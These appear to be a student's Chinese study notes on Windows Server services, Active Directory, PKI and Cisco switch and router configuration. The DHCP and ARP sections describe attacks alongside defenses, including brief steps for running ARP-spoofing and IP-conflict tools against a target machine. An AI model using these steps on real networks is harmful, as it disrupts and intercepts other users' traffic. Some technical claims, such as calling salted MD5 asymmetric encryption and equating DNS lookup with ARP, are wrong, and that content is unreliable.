2. 文件夹右键属性,选择共享点击开启共享,设置共享名和共享权限。本地登录(只受NTFS权限的限制)、远程登录(将受共享及NTFS权限取交集),所以建议设置共享权限为everyone完全控制,然后具体的权限需求在NTFS权限中设置即可。

3. 使用运行窗口或文件路径的输入框都可以使用`\\address\path`来访问。
    
            whoami									# 查看当前用户名称
    whoami /user							# 查看当前用户sid和名称
  1. 隐藏共享文件和操作命令
1. 在共享时共享名的后面加上” “就可以隐藏。访问隐藏文件时,将共享名和” “就可以隐藏。访问隐藏文件时,将共享名和” “就可以隐藏。访问隐藏文件时,将共享名和”“加上就可访问。
命令描述
net share查看所有共享资源
net share 共享名 /del删除指定共享
net share 共享名=路径添加指定共享
  1. 系统共享和屏蔽系统共享
共享名资源注释解释
C$C:| 默认共享系统共享
IPC$远程 IPC系统共享
ADMIN$C:\WINDOWS远程管理系统共享
E$E:| 默认共享系统共享
aE:\a用户共享
1. 系统共享删除(ipc无法删除),系统重启后将自动创建系统共享。
2. 屏蔽共享:`regedit`打开注册表编辑,`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters`,右键新建REG_DWORD类型的AutoShareServer键,值为0。
  1. 关闭445服务
1. 可以通过关闭445端口来屏蔽病毒传入,有两种方法:第一种是打开`services.msc`,并停止及禁用server服务、另一种是禁止被访问445,配置高级安全防火墙-入站规则(在win7及以上系统,win2008及以上系统)。选择端口,将tcp和udp都禁掉(操作两边),输入445,选择阻止连接,填写名称。

自动地址分配

  1. DHCP协议通过路由器实现ip的自动分配,地址池与作用域:是划分IP范围和减少冲突。IP、子网掩码、网关、DNS、租期,DHCP协议端口是UDP 67或68。DHCP减少工作量、避免ip冲突、提高地址利用率。

  2. DHCP原理,租约过程分为4步:

1. 发送DHCP Discovery广播包:客户端广播请求ip地址(包含客户端的MAC地址)网络中有两个DHCP时,会使用先到达的一个。
2. 响应DHCP Offer广播包:服务器响应提供的ip地址(只包含IP地址)。
3. 发送DHCP Request广播包:客户机获取IP(也可认为确认使用那个ip)。
4. 发送DHCP ACK广播包:服务器确定了租约,并提供网卡详细参数ip、掩码、网关、DNS、租期等。
  1. DHCP续约
1. 当50%时,客户机会再次发送DHCP Request包,进行续约。如服务器无响应,则需要使用并在87.5%再次发送DHCP Request包,进行续约。
2. 如还无响应,就将释放ip地址,及重新发送DHCP Discovery广播包来获取ip地址。如无任何DHCP服务器时,网卡自动分配一个网络无效ip:169.254.x.x/16,属于全球统一无效地址,用于内网通信。
  1. 部署DHCP服务器
1. 手动配置ip地址(服务器必须固定ip地址),win03安装DHCP服务器插件:找到镜像文件并打开,选择安装win插件;双击网络服务,再打开的窗口选择”动态主机配置协议“。
2. 创建作用域 
  1. 右键点击创建作用域,取名字并确定;设置开始ip和结束ip并设置网络段长度。
  2. 设置单个需要在作用域里排除的ip地址;设置租期并确定后,选择是并确定。
  3. 设置网关(网关需要在作用域里排除)点击确定;父域不用管,设置DNS服务器和名称并点击下一步;点击激活即可。
3. 注意: 
  1. 如果未分配到想要的ip有可能是虚拟机的网题:点击编辑选择虚拟网络编辑器,找到虚拟机设置的网络,选中找到“使用本地DHCP服务将ip地址分配给虚拟机”取消勾选。
  2. 如果在控制台误删了服务器,可以通过一下步骤找到。选择菜单中的操作后,点击添加服务器,点击预览再点击高级,点击立即查找,找到后会在下方显示,选中确定即可。
  3. DHCP服务器ip需要和地址池的ip相同。应为客户端收到后,服务器会先看自己的ip然后分配对应地址池的IP。
4. 客户端测试命令 
  1. 可以通过禁用网络、拔掉网线来重新访问DHCP
  2. ipconfig /release:释放ip(取消租约,或者手动配置ip)
  3. ipconfig /renew:重新获取ip(有ip时,发送request续约,无ip时发送DIscovery重新获取ip)
  1. 保留地址和DHCP备份
1. 地址保留是对指定mac与ip地址绑定:选择保留右键点击新建保留,设置保留名称、ip、mac地址,支持选择两者即可。
2. 备份是将地址池保存起来:右键点击备份选择好位置点击确定即可。
  1. 优先级
1. 如果有多个地址池,需要配置相同的DNS时:可以在服务器配置右键点击选择配置选项,找到dns服务器后输入IP。
2. 如果需要配置不同的网关时:可以选择作用域选项右键配置选项,找到路由器服务输入ip。
3. 地址池配置高于服务器配置。
  1. DHCP攻击与防御
1. 攻击:通过频繁向DHCP服务器发送伪造请求,耗光地址池资源从而实现,客户机无法上网。防御:在交换机(管理型)的端口上做动态MAC地址绑定(静态用于网络中人员不变的地方)
2. 攻击:伪造DCHP服务器向客户机,发送非法IP地址,从而实现网关不正确无法上网。防御:在交换机(管理型),除合法的DHCP服务器所在接口外,全部设置禁止发送DHCP Offer包。

域名解析安全

  1. 域名分为主机名三级域名二级域名顶级域名 。主机名可以理解为服务器类型:www全称Word Wide Web (万维网)。

  2. 域名分为多种:如三级、二级、顶级域名

1. Internet顶级域名
域名含义
com商业机构
edu教育机构
gov政府部门
mil军事部门
net主要网络支持中心
org非商业组织
arpa临时arpanet域(未用)
int国际组织
country code国家
   * 国内顶级域名**.cn**
2. 中国二级域名
域名含义
ac.cn科研院所及科技管理部门
gov.cn国家政府部门
org.cn社会组织及民间非营利性组织
net.cn主要网络支持中心
com.cn商业组织
edu.cn教育机构
  1. 三级域名一般代表,购买者的标识。nslookup www.baidu.com,可以解析域名。

  2. 监听端口和DNS解析方式

1. DNS的端口是:TCP 53 和 UDP 53,按照查询方式分类,分为递归查询和迭代查询: 
  1. 迭代查询是客户端将请求发到本地DNS服务器,如果无法解析发送求到根服务器。根服务器解析判断顶级域名是什么后,将相应的负责服务器给你,你再发送请求到相应服务器。相应服务器判断二级域名如果找到后,将ip发送给你,本地会缓存一份。
  2. 递归查询是客户端向本地DNS服务器发送请求,如果本地服务器找不到会给,高一级的DNS服务器(级别高低又管理员分配)。通过转发器实现。
2. 按照查询内容分为:正向解析(arp),是将网络层地址解析为链路层地址、反向解析(rarp),是将链路层地址解析为网络层地址。
  1. DNS部署
1. win03安装DNS服务器,找到镜像文件并打开,选择安装win插件,双击网络服务,再打开的窗口选择”域名系统“,装好后,这种什么也不干的被称为缓存服务器。
  1. DNS正向布置
1. 新建区域:在正向查找区域右键新建区域后点击下一步,选择主要区域并下一步。属于区域名称,就是不算名称剩下的如:“baidu.com”。选择不允许动态更新,点击完成即可。
2. 创建的区域中有两个自带的和自己新建:起始授权机构(sda)和名称服务器(ds)代表本域名的权威服务器。右面空白处右键创建主机,输入名称如:“www”。输入ip地址对应要解析的ip地址。
  1. DNS反向布置
1. 新建区域:在反向查找区域右键新建区域后点击下一步,选择主要区域并下一步。填写网络部分的ip,如:“192.168.1”。选择不允许动态更新,点击完成即可。
2. 创建的区域中有两个自带的和自己新建:起始授权机构(sda)和名称服务器(ds)代表本域名的权威服务器。右面空白处右键创建指针,输入要解析的主机位、选择管理的主机。
  1. 命令和清除缓存和别名
1. 清楚DNS服务器缓存,DNS服务器菜单单击后选中高级,服务器下方会出现“缓存的查找”,右键清楚缓存即可。
2. 选择到区域中右键新建别名,输入别名并选择要起别名的域名。
3. `ipconfig /flushdns`,清除dns缓存、`ipconfig /displaydns`,查看dns缓存。
  1. 布置转发器和区域复制
1. 区域复制端:要复制的区域上右键属性,选择区域复制后选择只允许到下列服务器。输入要复制到的DNS服务器ip,添加即可。
2. 区域粘贴端:在正向查询区域右键新建区域后,选择辅助区域下一步,输入区域名称。输入要复制的DNS服务器ip并添加即可。
  1. 虚拟机上网
1. 主电脑右下角网络图标右键“打开网络和Internet设置”,选择“更改适配器选项”查看你是用的网络并记住。打开虚拟机找到菜单中的“编辑”后选择虚拟网络设置,选择VMnet0,在桥接模式改为你记住的即可。只有VMnet0可以桥接真实网。
  1. DNS的解析记录类型和服务器分类
1. A:正向解析记录、CNAME:别名、 PTR:反向解析记录 MX:邮件交换记录、 NS:域名服务器解析。主要名称服务器、辅助名称服务器、根名称服务器和高速缓存名称服务器。
  1. Client DNS Request Parse Order:DNS缓存、本地hosts文件、找本地DNS Server。

  2. Server 对DNS请求的处理顺序:DNS高速缓存、本地区域解析文件、转发器、根。

前端服务安全

  1. web是提供网络页面服务。web使用http和https协议:http使用明文传输使用80端口、https使用密文传输使用443端口。

  2. web服务器发布软件:微软IIS(可以发布web网站和ftp站点)、Linux(Apache/LAMP/Tomcat/nginx.etc)、第三方:phpstudy、XAMPP。

  3. 网页类型:静态页面后缀为html、动态网页后缀为asp。

  4. 部署IIS服务器

1. 设置一个静态ip,win03安装DNS服务器:找到镜像文件并打开,选择安装win插件,双击应用程序服务器,在打开的窗口中再打开“Internet信息服务(IIS)”,找到万维网服务;装好后即可。存放页面文件的位置`C:\Inetpub\wwwroot`。
  1. 新建网站
1. 写一个html文件并记住位置,网站右键新建选中网站,描述随便写,网站创建向导。分配一个ip即可,端口默认即可,此网站的主机头可以无(也可以写你买好的域名),选择好页面展示所在的路劲,并勾选允许匿名访问网站,选择只读即可。
2. 在创建好的网站上右键属性,选择“文档”点击添加,将你页面文件加后缀写入(这是设置默认首页)。将其移动到最高。
  1. 动态网站
1. 写一个asp文件并记住位置,网页创建到最后一步时将运行脚本和执行都勾选,点击”web服务扩展“,找到Active Server Psges右键开启即可。
  1. 问题方法
1. 访问网站时需要输入用户名和密码:选中指定网站右键属性,选择目录安全性并点击身份认证的编辑,将启用匿名访问勾选即可。
2. 设置多个网站有三种方式。 
  1. 同一台电脑不同ip,回到桌面找到“网上邻居”右键属性,找到本地连接再右键属性,选择tcp/ip后点击属性,选择高级后添加ip即可。(不同网站使用不同ip)。
  2. 同一台电脑和ip使用不同端口,在创建网站时输入其他端口即可(不要使用2000以下的,应为已经被分配了)
  3. 同一个电脑ip和端口使用不同的域名,在创建网站时输入网站域名即可(需要提前在DNS上创建并指向相同的ip)
3. 通过域名访问还可以通过ip访问:指定网站右键属性点击高级,添加一个没有域名的即可。
4. 如果想要访问子网站:指定网站右键属性点击主目录,点击配置后选择”选项“勾选”启用父路径“。

文件服务安全

  1. File Transfor Protocol 文件传输协议。FTP的端口是:20、21。

  2. FTP工作方式分为:主动模式被动模式

1. 主动模式:客户机会随机使用一个端口去访问服务器,服务器会用21端口来接收请求(21端口被称为控制端口),都是客户机主动发出请求。直到客户机发送文件下载请求,服务器会使用20端口并主动发送请求(20被称为文件端口),客户机再次随机获取一个端口接收数据。
2. 被动模式:客户机会随机使用一个端口去访问服务器,服务器会用21端口来接收请求,都是客户机主动发出请求。直到客户机发送文件下载请求,服务器会随机选择一个端口将请求发出(请求客户机主动连接服务器),客户机再次随机获取一个端口发出请求连接服务器,服务器接搜到后将数据发出。
3. 主动模式服务器可以开启防火墙,应为服务器的端口是固定的。
4. 开启防火墙并指定端口可以访问:控制面板找到网络,里面有防火墙选择开启。设置端口找到”例外“点击添加端口,添加端口即可。
  1. IIS部署FTP Server:FTP站点右键新建选择“FTP站点”不来自文件,描述随意,分配ip下一步,还没有学域暂时不选默认即可。选择你要共享的文件,权限全部选上(到文件系统设置)。

  2. 部署Serv-U

1. 进入页面有一个“自动开始”,勾选后开机自启,创建域,域右键创建输入ip、随便输入、下一步即可。
2. 创建用户,用户右键创建、输入用户名、输入密码、指定主目录。(这里的用户只是软件的并不是系统的)
3. 创建好后右方会出现,选择目录访问,里面可以设置权限,下方的添加可以给改用户,在不同文件做权限设置。(路径长的移到上面)
  1. 问题方法
1. 如果找不到登录页面:自创站点右键属性,选择账户安全后将允许匿名连接取消勾选即可。
2. 如果有多用户可是有些资源时相同的:将你的文件与其他文件移动知同级目录,给需要的用户添加路径权限。在创建的域中有一个设置点击,再右方选择虚拟路劲,点击添加并找到你要映射的路劲和你要映射到的`%HOME%`(代表别人的家)。(会被映射到文件夹中)

域(Domain)

  1. 内网环境:工作组(默认模式,权力相同。不存在阶级控制)、域(分层管理,具有管理者,集中管理和统一管理)。

  2. 域的组成:管理者被称为域控制器(Domain Controller)、被管理者称为成员机。域名称使用域名的方式不加主机名称。

  3. 在域中安装DC时,DC会被同时安排安装DNS服务器,会安装DC和DNS两个软件;部署好DC和DNS后,用户加入域时会自动加入DNS。安装DC时会安装多个软件,里面会有一个“活动目录”(AD),存放域中的公共资源。活动目录可以创建账号被称为域账号。

  4. 使用域账号登陆成员机(大概):使用域账号登陆时,成员机会向DC发送请求(携带要登陆的账号)。DC接收后去活动目录,找有没有相匹配的账户密码,有就向成员机发送允许登陆的提示;成员机会创建用户。

  5. 基于活动目录会有一个叫组策略(GPO),用来控制域账号。多个子域可以组成域,多个域组成的称为林(林中第一个域的名称,就代表林的名称)。

  6. 部署(大概):安装域控制器会生成域环境。安装了活动目录就生成了域控制器。

  7. win08部署域

1. 使用win08并关闭防火墙,查看是否分区,配置静态IP,修改计算机名称;通常安装服务器时在,计算机右键管理有角色,即可安装指定服务器也可以通过dcpromo命令安装。
2. 打开运行窗口输入“dcpromo”,下一步不用选择高级模式还用不到,选择“在新林中新建域”下一步,为第一个域起名(需要等待一会电脑,需要判断是否有此人)。
3. 林功能级别是选择林和其他人林的最低系统版本(不能低于设定系统版本),域也一样下一步,选择DNS下一步(弹出的选择是再弹出中选择确定)
4. 位置不改下一步,被称为活动目录还原密码设置后记住,下一步即可完成。
5. 检验:装好后本地管理员会晋升为dc管理员,右键我的电脑属性可以查看是否为域,开始、管理工具找到DNS,进去查看一下是否自动添加了。
  1. 用户加入域
1. 分配静态ip,计算机右键属性、点击计算机名选项后点击更改,里面有一个部署于选择域并输入域的域名。使用管理员登陆后会弹出对话框。
2. 关机重启后,可以选择登录有本地登录和域账户登录(需要创建域账户);登录账户格式“域名加**\\** 加域账户名”。
  1. 用户和计算机
1. Active Directory 用户和计算机就是“活动目录”。点开创建的域后“Computers”存放所有成员机,“Domain Controllers”存放所有域控制器,Users里面就是所有的本地组和用户,升级后称为域组和域成员了。Domain Admins是域管理员组,可以将其他人提升为域管理员。
2. Users右键新建用户,姓、名、姓名、英文缩写(建议使用中文),用户登录名建议设置如叫李永强”xiaoli.li“,下一步输入密码并确定密码即可。
3. 组织单位(OU) 
  1. 用于分组管理域资源,和组策略可以实现多个用户的限制与管理。
  2. 创建OU:打开用户和计算机,域名称右键新建组织单位,在对话框中输入名称即可(下方要勾选)。区分时可以看图标,找到你要添加的用户或计算机右键所有任务中找到移动,找到移动到的位置即可。注意:添加域用户只会限制此账户,不限制电脑,只有你把计算机添加后才会限制。补充:Domain Controllers是DC的OU,用户限制DC的。
  1. 组策略(GPO)
1. 组策略是通过设置各种属性来实现的操作。组策略有两种资源:计算机和用户。

2. 右键菜单框:

  1. 强制组策略:指定组策略上右键强制,强制执行在这个ou里面的策略,下方的子策略冲突时自动不应用。
  2. 阻止继承:ou右键选择阻止继承,不会继承上级组策略,只使用自己的。
3. 快速查看对ou做了什么组策略:点击指定组策略上右方点击设置后,在弹出的窗口中点击添加再点击添加即可。

4. 安全设置中可以设置,多种与安全相关的操作。

5. 设置客户机桌面背景

  1. 共享桌面背景文件:找到指定文件右键属性,点击共享后选择高级共享,勾选共享此文件夹。点击权限将“Everyone”改为完全控制后,点击添加将查找位置指向DC名称,对象名称输入“Domain users”确定并设置为完全控制。找到安全点击编辑点击添加,同样的步骤“domain users”添加即可。
  2. 设置组策略:点击开始找到管理工具,中选择组策略管理,Default Domain Policy(主域策略)、Default Domain Controllers(DC主策略)。在指定的文件夹上右键点击“在这个域中创建GPO”,名称建议和文件夹一致。点击组策略右键编辑,找到用户配置中的管理模板下的桌面,中还有一个桌面并点击,右侧会出现一个“桌面墙纸”双击并启用,在强纸名称中输入共享文件夹的网络路径(\\\10.1.1.1\image\bb.jpeg)。本地机策略查找顺序:L(先查找本地组策略)S(代表站点一般不用)D(是主域的策略)OU(是目标机所在OU的每层组策略)。
6. 设置脚本:打开指定组策略表,打开win设置里面会有叫脚本的,点击后右面找到注销双击,将你要执行的脚本发到打开的共享文件夹种,选中即可。
  1. 问题方法
1. 可以ping通但是无法弹出登录框:查看DNS中是否有一项是名称为“与夫文件夹相同”,数据是dc ip的;没有的话需要手动加入,右键新建主机名称不填,ip填dc的确定即可。
2. 将域用户添加到本地Administrators组中:桌面右键管理,选择用户和组,找到“Administrators组”后点击添加,在弹出的对话框中查看查找位置是否的DC的名称后,在对象名称中输入“域账户名称”即可(登录时可无需输入dc主机名称)。注意:dc的“Domain Admins”组不要随便添加其他用户。

公钥基础设施

  1. Public Key Infra全称,用于通过加密技术和数字签名保证信息的安全,由公钥加密技术、数字证书、CA和RA组成。信息安全三大要素:机密性、完整性、身份验证和操作的不可否认性。应用PKI的领域有:SSL、HTTPS、IPsecVPN、部分远程访问VPN。

  2. 算法通过,原始数据与密钥生成一个字符串。加密算法分为:对称算法和非对称算法

1. 对称算法:加密和解密时使用同一个密钥。
2. 非对称算法:加密和解密时使用两个密钥分为公钥(Public key)和私钥(Private key)。
3. 不一定:对于我直到的MD5加密,不加盐时是对称加密(只会有公钥),而加盐后是非对称加密(有公钥你提供的时私钥)。
  1. HASH不可逆,HASH的算法有MD5和SHA(验证完整性)

  2. 数字签名,将数据加密后通过HASH,得到摘要后将摘要加密,放到第一次加密数据的后方。(这就是这个数据的数字签名)

  3. 加密算法里的对等算法通过,原始数据与密钥(Key)生成一个字符串,来保护数据。解密时使用相同的密钥即可。

  4. 证书

1. 证书用于保证公密的合法性;证书格式遵循X.509标准。
2. 数字证书包含信息:使用者公钥、使用者标识信息、有效期、颁发者标识信息、颁发者的数字签名。
3. 数字证书由权威公正的第三方机构即CA签发。
  1. pki主要解决了加密传输和上方不信任的情况。

  2. 部署CA

1. 打开三台电脑,一台xp、两台2008,2008中安装iis服务并且不要停用或删除默认网站。
2. 添加Active Directory证书服务,在证书中选择“证书颁发机构Web注册”,剩下的无脑下一步即可。安装好后打开iis中的服务器证书,并点击创建证书申请。填写信息后保存到指定位置即可(通用名称不可以错必须写网站名)。
3. 申请后打开浏览器访问“ip/certsrv”后点击申请证书中的高级证书申请,进入后找到“使用base64编码。。。”打开后需要你把之前生成的文件内容复制过来并点击提交。
4. 在打开电脑中的证书颁发机构,找到挂起的证书后右键颁发即可。再次访问网站,点击查看挂起的证书并找到刚才申请的证书点击下载。
5. 再次打开iis找到服务器证书中的完成证书申请,后打开你的网站将申请的使用即可。找到ssl设置,将要求ssl勾选代表用户不能使用80来访问该网站,只能使用ssh来访问。
6. 打开网站下载ca证书后添加到浏览器的证书中,以后访问就不会出现不安全提示了。
7. 给web浏览器申请证书,在网站中申请即可。打开证书颁发机构颁发即可,安装是需要web浏览器证书的电脑安装。

认识设备

  1. 网络设备的几种模式
标志类型详细方式

| 用户模式| 可以查看基本简单信息,不可以修改| 默认
#| 特权模式| 可以查看所有配置和保存测试等,但是不可以修改。| enable
(config)| 全局模式| 默认不可以查看,可以修改并且全局生效。| configure terminal
(config-if)| 接口模式| 可以修改配置,且对该接口生效| interface f0/1
(config-line)| 控制台模式| 默认不可以查看,且对console生效| line console 0

  1. 常用命令

    exit # 退回上一级
    end # 退回特权模式
    hostname # 设备名称
    password # 设置密码
    login # 启用登录
    enable password # 特权模式设置明文密码
    enable secret # 特权模式设置密文密码
    no # 删除某条命令

# 快捷键
	ctrl+u											# 是快速删除此行
	ctrl+a											# 是光标快速到行首
	ctrl+e											# 是光标快速到行尾
reload												# 重新加载
# 每次启动网络设备都会在内存中创建一个干净的“running-config”文件,用于存储配置信息。我们需要将其保存到硬盘中才可以实现永久配置。
copy running-config startup-config					# 将其复制到硬盘
show running-config									# 查看配置信息
erase startup-config								# 硬盘中删除文件
show mac-address-table								# 查看mac地址表
show ip int brief									# 查看接口的简要信息,一个接口一个速率
shutdown											# 关闭指定端口
do <command>										# 全局模式下查看
  1. 远程控制网络设备

    二层端口默认是打开,而三层的端口默认是关闭

# 明文通信,使用telnet服务23端口访问。
# telnet target
ip address <ip> <mask>								# 给端口配置ip
no shutdown											# 打开指定端口
exit
line vty 0 4										# 指定远程设备的连接数,远程特权需要密码
password 123
enable password 123

# 密文通信,ssh加密通信
# ssh -l name target
hostname <name>
ip address <ip> <mask>
line vty 0 4
transport input ssh									# 修改通信协议
password 123
enable password 123
crypto key generate rsa								# 指定加密长度
ip domain-name <name>								# 指定通信使用的名称

# 使用用户名密码登录
line vty 0 4
login local											# 修改请求的数据库
username <name> password <pwd>						# 设置用户名和密码

# 交换机配置远程访问
int vlan 1
ip address <ip> <mask>								# 配置ip
ip default-gateway <ip>								# 配置网关
no shutdown
no ip domain-lookup									# 关闭自动解析功能
line vty 0 4 
password 123
enable password 123

交换机

  1. 交换机的工作原理:用户A发送数据给交换机,交换机会在MAC表中记录用户A的源MAC和端口,并判断MAC是否有目标MAC,如果有就发送单播帧到目标主机、如果没有就发送广播帧。其他PC判断MAC不是自己就拒绝接收,是就把帧接收并给发送回帧。MAC表记录会在最后一次相关通信存在300秒。

  2. 交换机的端口分为:E-10mb、F-100mb、G-1000mb、Te-10000mb。而F0/1,0是模块号、1是接口号。端口状态:up/down;down的三种可能:人工down、速率不匹配、双工模式不匹配。

  3. 第一次配置网络设备,需要使用console线,插到网络设备和电脑上,电脑上需要使用超级终端“hypertrm”。

  4. 广播是将地址做为目的地址的数据帧,而广播域是网络中能接受到同一个广播的所有节点的集合。MAC的广播地址是FF-FF-FF-FF-FF-FF,IP的广播地址是255.255.255.255

    生成树的配置,生成树主要用于防止网路环路导致的广播风暴

spanning-tree vlan <num>							# 打开生成树协议
spanning-tree mode pvst|rapid-pvst					# 配置生成树的模式
spanning-tree vlan <num> prlority <order>			# 设置生成数的优先级4016的次方	
show spanning-tree 									# 查看生成树协议

# 编写聚合端口,主要用于同一条线路出现多条线路时做聚合,避免浪费和广播风暴
int port-channel <num>								# 创建聚合端口
channel-group <num> mode <mode>						# 配置工作模式一般时on
port-channel load-balance <func>					# 负载平衡方式
	dst-ip											# 根据目标IP地址进行负载平衡
	dst-mac											# 根据目标mac地址进行负载平衡
	src-dst-ip										# 根据源和目标ip地址进行负载平衡
	src-dst-mac										# 根据源和目标mac地址进行负载平衡
	src-ip											# 根据源ip地址进行负载平衡
	src-mac											# 根据源mac地址进行负载平衡
show etherchannel <value>							# 查看聚合端口

# 端口保护,主要避免有些居心叵测之人的心思,通过绑定ip来限制可以访问的设备
int f0/24
switchport mode access								# 修改端口模式
switchport port-security							# 开启端口保护协议
switchport port-secutity maximum <1-132>			# 设置端口的接口数
switchport port-security mac-address sticky			# 动态获取mac地址并记录
switchport port-security mac-address <mac>			# 静态绑定mac地址,只有绑定的mac地址才可以通过
switchport port-security violation <func>			# 设置端口保护模式
	protect											# 当超出限定的端口访问数时不做任何操作,不予通过
	restrict										# 当超出限定的端口访问数时允许通过,并记录日志
	shutdown										# 当超出限定的端口访问数时不允许通过,并且关闭这个端口
write												# 将所有的配置写入设备自带的存储空间中。

# vtp,用户同步vlan

en
vlan database
vlan 10
vlan 20
exit
config t
vtp domain a
vtp mode server
vtp password 123

en
config t
vtp domain a
vtp mode client
vtp password 123
do show vlan brief

# 用一个服务器和路由器,将路由器数据保存到服务器
en
config t
int f0/0
ip address 192.168.1.1 255.255.255.0
no shutdown
end
show flash
copy flash tftp
c1841-advipservicesk9-mz.124-15.T1.bin
192.168.1.1
qqq
ARP
  1. ARP获得IP后,先去本机缓存寻找,没有再发送一个ARP包到交换机,交换机生成一个广播帧并发送,等待IP对应的设备发送回应报文。本地会ARP保存整个网段的IP与MAC的映射表。如果他访问外部网络时,目标MAC会设置为网关地址。Windows下ARP地址表的操作:arp -a查看表、arp -d清除表、arp -s锁定表。

  2. 跨网段时包会先到达第一个路由器并判断是否存在,如果存在就去掉帧头并创建新的去查下一个路由器。

  3. ARP欺骗是通过截获原用户发来的ARP广播,发自己的mac回应给原用户,做到原用户和目标用户无法通信。APR欺骗就是将a机和b机的ARP对应mac改为c机的mac,这样所有的消息都会通过c机。

  4. ARP的响应报文可以攻击,使用一个计算机伪造响应报文来修改请求机中的mac,ARP的广播报文也可以进行攻击同理。

  5. arp的攻击和防御方式

1. 攻击时使用“长角牛网络监控机”软件并检测,检测到后找到你想攻击的数据后右键选择手动设置,后选择ip冲突并选择每秒发送几个后确定。欺骗用cain软件即可。
2. ARP防御有三种方式可以实现,静态ARP绑定客户机`arp -s "ip" "mac"`、ARP防火墙自定绑定静态ARP和主动防御360自带但是不开、携带ARP防御的交换机可以在交换机中将其阻止,他可以在发送dhcp的时候将每个计算机的ip和mac动态绑定。
  1. 为了解决ARP被欺骗和攻击我们可以写静态ARP

    主机上绑定ARP

netsh interface ipv4 show neighbors
netsh interface ipv4 set neighbors <ip> <mac>
# 网络设备绑定ARP
arp <ip> <mac> arpa <interface>
VLAN
  1. VLAN技术是在交换机上实现的且是通过逻辑隔离划分的广播域。在交换机上会生成一个VLAN表每次帧来后,先去判断你是哪个网段的,然后再去给你发送到指定的网段中。

  2. VLAN分为静态和动态,

1. 静态是使用交换机端口划分的,两个人交换端口后就会交换域,VLAN表中存放接口。
2. 动态是使用MAC划分的,两个人交换端口后并不会交换域,VLAN表中存放MAC。
  1. 不同交换机有不同的VLAN表,只有使用trunk时携带VLANID,access是不携带的,两个路由器端口放在不同的VLAN中也可以实现,不同VLAN通信。默认所有接口都是VLAN 1。

    show vlan brief # 查看VLAN表
    vlan # 创建VLAN
    interface vlan # 进入指定vlan
    name # 进入指定vlan后修改名称
    switchport access vlan # 进入指定接口后修改接口的vlan

Trunk
  1. VLAN是一条路,只有这条路上的车才可以经过,而Trunk就是一座桥,可以让所有的车通过。Trunk主要用于多个交换机多个VLAN的情况下使用的公共线路。是通过数据帧上的加标签来区分的。

  2. 交换机端口链路类型

1. 接入接口(access),一般用于连接PC并且只能属于某一个VLAN,也只能传输一个VLAN的数据。
2. 中继端口(trunk),一般用于连接其他交换机,属于公共端口,允许所有VLAN的数据通过。
  1. ISL标签是cisco自己的大小是30字节、802.1Q标签是所有厂家支持的内部标签,大小是4个字节。

    switchport trunk encapsulation dotlq|isl # 交换机需要使用将其指定协议才可以
    switchport mode trunk|access # 进入指定接口后切换模式

路由器

  1. IP数据包格式:版本(4)、首部长度(4),优先级与服务类型(8)、总长度(16)、标识符(16)、标志(8)、段偏移量(13)、TTL(8)、协议号(8)、首部校验和(16)、源地址(32)、目标地址(32)、可选项、数据。32bit一组。

  2. 路由器是跨越从源主机到目标主机的一个互联网络来转发数据包的过程。直连网段和非直连网段,非直连网段就需要写下一跳。

  3. 路由工作在网络层:根据路由表转发数据,交换工作在数据链路层,根据MAC地址表转发数据。

    动态(c)> 静态(s)> 默认(*s)。

# 动态是存储address和interface,静态和默认是存储address和下一跳。
ip route <network> <mask> <address|interface>
do sh ip route										# 查看路由的命令
do sh ip int b										# 查看接口状态的命令
  1. ICMP协议用于网络探测、路由跟踪、错误反馈。

    ICMP = {
    “head”:{
    “type”:{
    8:“request”,
    0:“response”,
    3:“Target host unreachable”,
    11:“TTL timeout”
    },[code],
    “body”
    }

# Windows use trracert <address> command send ICMP request.
# Linux use traceroute <address> command send ICMP request.
单臂路由
  1. 单臂路由是使用一个接口下的多个子接口实现,一个VLAN只能使用一个子接口。

    en
    config t
    int f0/0.1
    encapsulation trunk dot1q # 指定子端口的VLAN
    ip address 192.168.1.254 255.255.255.0
    no shutdown
    exit

# A和B通信过程
# A send [gateway aip,aip bip] switchboard 判断bip与我是否同一网段,不是就添加vlanID并返送到路由器[gateway aip ,vlanID ,aip bip],路由器接收后查看网关ip是否是自己,是就将第一段去掉并判断bip后添加第一段为[gateway bip ,vlanID ,aip bip],交换机接收后判断是哪个虚拟网络并去掉vlanID后发给用户b。
单臂&DHCP
  1. 在独臂路由上启动DHCP服务,DHCP自动分配地址协议。

    en
    config t
    int f0/0
    no shutdown
    int f0/0.1
    encapsulation trunk dot1q # 指定子端口的VLAN
    ip address 192.168.1.254 255.255.255.0
    ip helper-address 192.168.1.254 # 配置dhcp帮助地址
    no shutdown
    exit
    ip dhcp excluded-address “startip” “endip” # 地址排除
    ip dhcp pool address1 # 编写名称
    network 192.168.1.254 255.255.255.0 # 配置address地址范围
    default-router 192.168.1.254 # 配置网关
    dns-server

    # 配置DNS域名解析服务器
    lease 2 2 2 # 配置租期(天 时 分)
    exit

三层交换技术
  1. 三层交换机是具有路由功能的交换机,是人们在使用VLAN中发现需要用到路由来网络通信。可以如果一个VLAN对应一个端口会非常浪费,但是我们使用独臂路由时发现所有的请求都会经过一条物理介质。由此出现三层交换机来解决这个问题,将其虚拟化后实现。在虚拟链路中还会有一个表CEF,只要你访问过一次后他会记录,下一次会直接去。三层交换机中配置dhcp实现不同网段通信。

    en
    config t
    int f0/1
    no switchport # 关闭接口模式
    ip address 192.168.1.254 255.255.255.0 # 配置ip地址
    ip helper-address 192.168.3.1 # 指定dhcp发放设备
    int f0/2
    no switchport
    ip address 192.168.2.254 255.255.255.0
    ip helper-address 192.168.3.1
    int f0/24
    no switchport
    ip address 192.168.3.254 255.255.255.0
    ip routing # 开启路由功能

# 三层交换机充当dhcp服务器,二层划分vlan并将端口放入
en
config t
vlan 10
vlan 20
int vlan 10
ip address 192.168.1.254 255.255.255.0
ip helper-address 192.168.3.1
int vlan 20
ip address 192.168.2.254 255.255.255.0
ip helper-address 192.168.3.1
ip dhcp pool name1									# 设置一个dhcp
	network 192.168.1.254 255.255.255.0				# 设置ip和子网掩码
	default-router 192.168.1.254					# 设置网关
ip dhcp pool name2
	network 192.168.2.254 255.255.255.0
	default-router 192.168.2.254
ip routing
静态和动态路由
  1. 静态路由是管理员一条一条将其写入,对于一个实验的网络中还可以使用,但是在一个在正常的网络中是不可以的需要使用到动态路由。

  2. 动态路由是通过某种路由协议实现,动态路由减少了管理任务,占用了网络贷款。动态路由协议就是路由器之间通信的规则和标准。

  3. 度量值是动态路由判断最佳路径的方式,度量值有条数、带宽、负载、时延、可靠性、成本。收敛是使所有路由器都达到一直状态的过程,你也可以理解为完成路由表的更新。

  4. 按照路由执行的算法分类:

